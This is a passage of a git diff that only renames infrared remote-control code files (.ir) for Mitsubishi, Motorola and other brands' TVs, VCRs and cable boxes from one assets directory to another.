b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/18,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/18,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/18,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/18,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cox/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cox/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cox/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cox/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cox/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cox/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Cox/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cox/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/DSS/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/DSS/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/DSS/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/DSS/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/DVR/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/DVR/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/DVR/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/DVR/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/IP box/16,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/IP box/16,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/IP box/16,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/IP box/16,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir 